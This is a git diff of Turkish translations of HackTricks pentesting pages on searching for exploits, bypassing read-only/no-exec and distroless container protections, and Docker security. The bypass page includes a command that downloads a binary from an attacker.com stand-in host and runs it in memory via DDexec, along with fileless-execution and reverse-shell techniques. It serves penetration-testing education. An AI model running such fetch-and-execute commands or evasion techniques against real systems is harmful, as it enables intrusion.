+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md
index 8395f4edf..ba9821ed8 100644
--- a/generic-methodologies-and-resources/search-exploits.md
+++ b/generic-methodologies-and-resources/search-exploits.md
@@ -1,23 +1,23 @@
-# Exploit Araştırması
+# Exploit Ara
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahramana kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da** takip edin.
-* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanın.\
+[**Trickest**]'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -26,11 +26,11 @@ Bugün Erişim Alın:
Her zaman "google" veya diğerlerinde arama yapın: **\ \[sürüm] exploit**
-Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresindeki **shodan exploit aramasını** denemelisiniz.
+Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresinden **shodan** **exploit aramasını** denemelisiniz.
### Searchsploit
-**Konsoldan exploitdb'deki hizmetler için exploit aramak** için kullanışlıdır.
+**Exploitdb'deki hizmetler için exploit aramak için konsoldan yararlıdır.**
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```
### Pompem
-[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem), exploit aramak için başka bir araçtır.
+[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) başka bir araçtır exploits aramak için
### MSF-Search
```bash
@@ -50,7 +50,7 @@ msf> search platform:windows port:135 target:XP type:exploit
```
### PacketStorm
-Eğer bir şey bulunamazsa, [https://packetstormsecurity.com/](https://packetstormsecurity.com) adresinde kullanılan teknolojiyi aramayı deneyin.
+Eğer hiçbir şey bulamazsanız, kullanılan teknolojiyi [https://packetstormsecurity.com/](https://packetstormsecurity.com) içinde aramayı deneyin.
### Vulners
@@ -58,26 +58,26 @@ Ayrıca vulners veritabanında arama yapabilirsiniz: [https://vulners.com/](http
### Sploitus
-Bu, diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com)
+Bu diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
-* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index 38bcb6530..ed0aa697d 100644
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -10,11 +10,11 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**]'a (https://github.com/carlospolop/hacktricks-cloud) destek olun.
+* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
-
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@@ -44,15 +44,15 @@ securityContext:
command: ["sh", "-c", "while true; do sleep 1000; done"]
-Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu yüzden diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
+Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %}
-Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi) ikili dosyaları indirip çalıştırmayı **karmaşık hale getirir**.
+Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi enumaratörler gibi) ikili dosyaları **indirip çalıştırmayı karmaşık hale getirir**.
{% endhint %}
## En Kolay Atlatma: Betikler
-İkili dosyaları bahsettiğimi unutmayın, **yürütülebilir herhangi bir betik**i, yorumlayıcının makinede olması koşuluyla yürütebilirsiniz, örneğin `sh` mevcutsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**.
+İkili dosyaları belirttiğimi unutmayın, **yürütülebilir herhangi bir betik** (interpreter makinede varsa) çalıştırabilirsiniz, örneğin `sh` varsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**.
Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.
@@ -60,26 +60,26 @@ Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer i
Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**.
-### FD + exec sistem çağrısı atlatması
+### FD + exec syscall atlatma
-Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` sistem çağrısı), bu korumalar tarafından korunmayacak ve ardından bir **`exec` sistem çağrısı** yaparak **çalıştırılacak dosya olarak fd'yi belirtebilirsiniz**.
+Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` syscall), bu korumalar tarafından korunmayacak ve ardından bir **`exec` syscall** çağırarak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**.
-Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve `create_memfd` sistem çağrısını çağırarak oluşturulan bir **fd** içinde **çözümlemek ve sıkıştırmak** için talimatlarla birlikte belirtilen dilde bir betik oluşturacaktır.
+Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve onu **çözümlemek ve sıkıştırmak** için talimatlarla birlikte `create_memfd` syscall'i çağırarak oluşturulan bir **fd** içinde saklayacak ve çalıştırmak için **exec** syscall'i çağıracaktır.
{% hint style="warning" %}
-Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham sistem çağrıları** yapmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`yi çağırmak ve ikili dosyayı saklamak için **bellek fd** oluşturulamaz.
+Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`'yi çağırmak için **bellek fd** oluşturulamaz.
-Ayrıca, `/dev/shm` içinde bir dosya ile **düzenli bir fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir.
+Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir.
{% endhint %}
### DDexec / EverythingExec
-[**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işlemizin **`/proc/self/mem`**'ini üzerine yazarak işlemimizin belleğini **değiştirmenizi** sağlayan bir tekniktir.
+[**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işleminizin **`/proc/self/mem`**'ini üzerine yazarak **belleğinizi değiştirmenizi** sağlayan bir tekniktir.
-Bu nedenle, işlem tarafından yürütülen derleme kodunu **kontrol ederek**, bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**.
+Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**.
{% hint style="success" %}
-**DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **çalıştırmanıza** veya **bellekten herhangi bir ikili dosyayı çalıştırmanıza** olanak tanır.
+**DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **bellekten** herhangi bir **ikili dosyayı çalıştırmanıza** olanak tanır.
{% endhint %}
```bash
# Basic example
@@ -87,45 +87,45 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
```
### MemExec
-[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. Herhangi bir **farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan, sadece memexec shellcode'unu DDexec tekniği aracılığıyla çalıştırabilir ve ardından **bu deamon ile iletişim kurarak yüklemek ve çalıştırmak için yeni ikili dosyaları geçirebilirsiniz**.
+[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. **Farklı bir ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan**, DDexec tekniği aracılığıyla memexec shellcode'unu çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz.
**Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir.
### Memdlopen
-DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin **daha kolay bir yolunu** sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir.
+DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir.
## Distroless Atlatma
### Distroless Nedir
-Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **çıplak minimum bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıkları gibi, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
+Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **en temel bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıklarını içerir, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin **saldırı yüzeyini azaltmak** ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir.
### Ters Kabuk
-Distroless konteynerde genellikle **`sh` veya `bash`** gibi düzenli bir kabuk bulamayabilirsiniz. Ayrıca `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şeyi bulamazsınız.
+Distroless konteynerlerde genellikle **`sh` veya `bash`** gibi normal bir kabuk bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız.
{% hint style="warning" %}
-Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandıramayacaksınız**.
+Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandırma** yapamayacaksınız.
{% endhint %}
-Ancak, ele geçirilmiş bir konteyner örneğinde flask web çalışıyorsa, o zaman python yüklüdür ve bu nedenle bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şey çoğu **betik dili** için geçerlidir.
+Ancak, ele geçirilen konteyner örneğin bir flask web uygulaması çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve çoğu **betik dili** ile aynı şeyi yapabilirsiniz.
{% hint style="success" %}
-Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırabilirsiniz**.
+Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırma yapabilirsiniz**.
{% endhint %}
-Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak dosya sistemine **ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**.
+Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak **ikili dosyalarınızı dosya sistemine yazabilir** ve **çalıştırabilirsiniz**.
{% hint style="success" %}
-Ancak, bu tür konteynerlerde genellikle bu korumalar bulunur, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**.
+Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**.
{% endhint %}
-**RCE zafiyetlerini kullanarak bazı betik dillerinden ters kabuklar almak ve bellekten ikili dosyaları çalıştırmak için örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
+**RCE zafiyetlerini kullanarak betik dillerinden ters kabuklar almayı ve hafızadan ikili dosyaları çalıştırmayı nasıl istismar edeceğinize dair örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
-
+
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@@ -139,8 +139,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
-* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR'lar göndererek paylaşın.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
+* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md
index 81300ef69..eedd2a43c 100644
--- a/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/README.md
@@ -8,13 +8,13 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
@@ -24,7 +24,7 @@ Bugün Erişim Alın:
## **Temel Docker Motoru Güvenliği**
-**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir.
+**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ini kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı işlemlerini daha da kısıtlayabilir.
![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@@ -32,7 +32,7 @@ Bugün Erişim Alın:
Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir.
-Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinde açmak için aşağıdaki ayarları ekleyin:
+Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soket üzerinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinde açmak için aşağıdaki ayarları ekleyin:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@@ -50,11 +50,11 @@ Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir
* [**Docker Hub**](https://hub.docker.com): Docker'dan genel bir kayıt servisi.
* [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmasına izin veren açık kaynaklı bir proje.
-* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kaydı.
+* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kayıt sunumu.
### Görüntü Tarama
-Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için çalışır.
+Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açıklarını belirlemek için güvenlik açığı deposuyla karşılaştırarak tarar.
Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/).
@@ -94,9 +94,9 @@ Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bü
- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır.
-- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parolaların belirlenmesini gerektirir ve Docker ayrıca artırılmış güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz.
+- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla detay [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir.
- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
-- İlk imaj yükleme işleminden sonra, Docker, imajı imzalamak için depo anahtarının parolasını ister.
+- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister.
Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın:
```bash
@@ -106,10 +106,10 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i
***
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -122,18 +122,18 @@ Bugün Erişim Alın:
#### Ana İşlem İzolasyon Özellikleri
-Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi açısından önemlidir. İşte temel kavramların basitleştirilmiş bir açıklaması:
